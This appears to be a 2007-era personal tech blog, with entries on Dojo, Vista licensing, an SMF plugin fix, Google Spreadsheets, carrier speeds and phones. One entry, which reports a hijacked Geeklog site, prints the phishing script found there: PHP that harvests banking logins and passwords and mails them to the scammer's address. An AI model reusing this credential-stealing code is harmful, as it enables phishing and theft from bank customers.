Tim's Journal

Context 0x1fa878 is disconnected. No proxy will be used to service the request on the COM component. This may cause corruption or data loss. To avoid this problem, please ensure that all contexts/apartments stay alive until the application is completely done with the RuntimeCallableWrappers that represent COM

Dude, remember when I told you that running multiple chunks of code in parallel, i.e., multi-threading, was evil? Remember how you didn't listen to me? Well, I noticed that you are manipulating some stuff from chunk one in chunk two. What are you going to do if chunk one suddenly ends and the stuff disappears?

Background. Dojo is a toolkit of javascript functions which speeds up web development. It includes both aesthetic and technically-helpful elements. Prior to AOL hosting the toolkit, it would be necessary to physically transfer the compressed files to the server and uncompress. While this was a cinch on my lunarpages-hosted linux account running CPanel, it turned out to be quite a pain with a windows-based account running Plesk.

To use:

<script type="text/javascript" src="http://o.aolcdn.com/dojo/1.0.0/dojo/dojo.xd.js"></script>

Source: http://dojotoolkit.org/2007/11/06/dojo-1-0-0-available-aol-cdn

I recently had a chance to skim through the Vista Enterprise software license. Microsoft is currently offering Vista as a 30-day VHD (Virtual Hard Drive; requires registration) ostensibly for IT-departments paralyzed by the potential of all mission critical software to sieze up on update. It requires Microsoft Virtual Server R2, Microsoft's (free, sorry VMWare) virtualization solution. If you are involved in potentially licensing software as a licensor or licensee, it's absolutely worth a gander. I'm sure they spent a fortune with attorneys on drafting it.

Questions and observations:

1. How do we handle licensing Vista virtualized across multiple machines?
   • "A hardware partition or blade is considered a separate device." --
   • "You may use the software on up to two processors on that device at one time."
   • "You may use the software installed on the licensed device within a virtual (or otherwise emulated) hardware system. If you do so, you may not play or access content or use applications protected by any Microsoft digital, information or enterprise rights management technology or other Microsoft rights management services or use BitLocker."
2. What is "pooling"? Timesharing?
   • "Except as provided in the Device Connections and Other Access Technologies sections below, only one user may use the software at a time."
   • "Hardware or software you use to · pool connections, or · reduce the number of devices or users that directly access or use the software (sometimes referred to as “multiplexing” or “pooling”), does not reduce the number of licenses you need."
3. Did I buy Vista? Nope.
   • "The software is licensed, not sold. This agreement only gives you some rights to use the software. Microsoft reserves all other rights."
   • "You may not... rent, lease or lend the software..."
   • "You may not... use the software for commercial software hosting services."
4. Will I get support? Don't count on it.
   • "Because the software is “as is,” we may not provide support services for it."
   • "The software is licensed “as-is.” You bear the risk of using it. Microsoft gives no express warranties, guarantees or conditions."
   • "To the extent permitted under your local laws, Microsoft excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement."
5. What if something breaks, or I lose critical data? Tough luck.
   • "You can recover from Microsoft and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages."
   • "It also applies even if Microsoft knew or should have known about the possibility of the damages."

Continue reading "The fine print on Vista" »

Symptom: Installing Ad Management for SMF 1.1.3 from smfads.com indicates success. No Ad Management link is present under Configuration tab. However, inspection (view source) reveals an incomplete link, in my case to

index.php?action=admod

with no parameters. The incomplete link can be visually checked by noticing the extra space between Configuration and the next tab.

Resolution: Per jerm, the issue has to do with english versus english-utf8. The current version "ad_mod_1-1-x_v2-3" creates a file called "Ads.english.php" in the languages folder of the default directory. A quick glance at the 1.1.3 install (and probably a few subversions back) shows that a copy should probably be made for "Ads.english-utf8.php". Create this copy by hand for quick resolution OR alternatively, installing using ad_mod_1-1-x_v2-3x (simple hack to include utf8 copy). The only real change to the package is the addition of Ads.english-utf8.php (copy), and adding the following line to package-info.xml to read:

require-file name="Ads.english-utf8.php" destination="$languagedir"

Let me know if there are any issues or if you found the hack helpful.

I recently went in and triaged a Geeklog install I haven't touched in a few months. Lo and behold, it had been hijacked by scammer spammers. Here is login.php:

$message .= "Login: ".$_POST['ncliente'];
$message .= "Password: ".$_POST['pass'];
$message .= "Netkey: ".$_POST['netkey'];
$message .= $ip = getenv("REMOTE_ADDR");

//sending email info here

$subj = "Bancanet - Banamex";
$from = "From: Info";
mail("devilzx0@gmail.com", $subj, $message, $from);
header("Location: verificacion.htm");

My ISP was complaining of mail sent. This was probably it. There are a lot of references in the index.htm and verificacion.html to banamex.com. Check out this particular segment of verficacion.htm:

file:///D:/Banking/Scams/Scam/Upload%20Scam/Upload%20Venezuela/Mis%20documentos/Mis%20archivos%20recibidos/letter_files/nuevobnp.css

How and where is the money made here? Harvesting accidental logins... There is one redirection to "istemp.com":

href="http://centralbanamex.com.istemp.com/banamex/"

Anyone know anything about this?

Update: Here's the phishing alert. It's from 2005.

Bonhoeffer writes:

Be not anxious! Earthly possessions dazzle our eyes and delude us into thinking that they can provide security and freedom from anxiety. Yet all the time they are the very source of all anxiety. If our hearts are set on them, our reward is an anxiety whose burden is intolerable. Anxiety creates its own treasures and they in turn beget further care. When we seek for security in possessions we are trying to drive out care with care, and the net result is the precise opposite of our anticipations. The fetters which bind us to our possessions prove to be cares themselves. [emphasis mine]

Spotted on the Guadalajara (Redding, CA) menu. A flour tortilla filled with apples and deep fried. Topped with sugar, cinnamon, honey and whipped cream. Served with two scoops of vanilla or chocolate ice cream. $5.25. Mmmmmm.

5:01 PM 6/19/2007. Printing does not work. It flat out doesn't work. Ok, ok, it works in a sense, stuff comes out of the printer, but columns are chopped and the chopped data doesn't even show up on future pages. See scan. Now I will humbly copy my spreadsheet data to Microsoft Excel and print. Mr. Gates, you may now say "I told you so." (Of course, maybe this is G's way to wipe out all paper copies... but hey, I still don't have EDGE or EVDO in my car, and no, I shouldn't be looking at Google Docs with my one hand while driving...)

5:10 PM 6/19/2007. Cutting and pasting into Excel from Google Spreadsheets does not work. It flat out doesn't work. The caveat here is that I have It doesn't work when you paste from the app, and it doesn't. Here's the source:

And the Excel paste:

Not cool. You get somewhat better results by pressing Print in Google Spreadsheets, and copying and pasting from that. However, the results are still rather lacking...

Sigh. The problem here are all the carriage returns I have embedded in the cells.

Update. The (lame) solution. Wipe out middle column so I know there is enough paper space. Print first page, establish what I need to re-size the last column to. Re-size and re-print.

a.k.a. EDGE vs. EVDO Rev 0 vs EDVO Rev A

To think, the T-Mobile looked straight into my eyes and said that there wasn't much different in speeds between T-Mobile and other carriers. I found some real numbers on Richard's spreasheets on Swivel. His answer is resounding Sprint. The test is not quite what I wanted, since it is access from his location to various Speakeasy speed test servers. What I really want is a true test, using the speed test servers, from the various locations. In any case, the SF download speeds for T-Mobile vs. Verizon vs. Sprint is 144:930:1,081, uploads are 9:114:512 kbps. 9?!?!

Update: What we really want is a GPS-enabled phone (same phone) on all three carriers (four including Cingular), giving us location-based results for the different carriers. THAT would be a very nice article and mashup project.

I had a chance this afternoon to spend a half-hour or so with the T-Mobile Wing and Dash. Both running Windows Mobile, the main attraction was a phone-based EDGE solution for my laptop. Prognosis? Pretty, reasonably functional, but both require two-hand operation. My Blackberry's mostly one-handed operation turns out to be more valuable to me than I thought.

The Dash is unusual for a PDA-esque Windows device in that it does NOT have a touch screen. While still useable, I found several moments in my trial having to hold back my fingers from the screen. The Wing, on the other hand, DOES have a touchable screen, and comes with stylus operation. Interestingly, I found myself using both hands to type, as well as using the stylus. While in general I do not recommend using any kind of smart phone while operating a vehicle, I really don't recommend Wing usage at a stop light or in traffic. I suppose this should have been expected given the full keyboard.

Size-wise the Wing is a bit on the fat size, but forgivable since it comes with a beautiful large screen and a reasonable camera (not a problem if you carry a purse or equivalent). The Dash on the other hand, is just a bit thinner than my Blackberry. Towards the end of my short session, I had to look something up on Google. I tried it on the Dash, gave up. Tried it on the Wing, gave up, and finally got it done on my Blackberry... with one hand.

So, there it is. I was looking for a laptop-modemable Wifi, Edge-cable phone. I found two, none of which I was ready to take in exchange for good ole' BB.

Addendum: The fact that I found myself using the stylus on the Wing and wanting to on the Dash says something. I never need to worry about the screen on BB. But then, it doesn't run PowerPoint.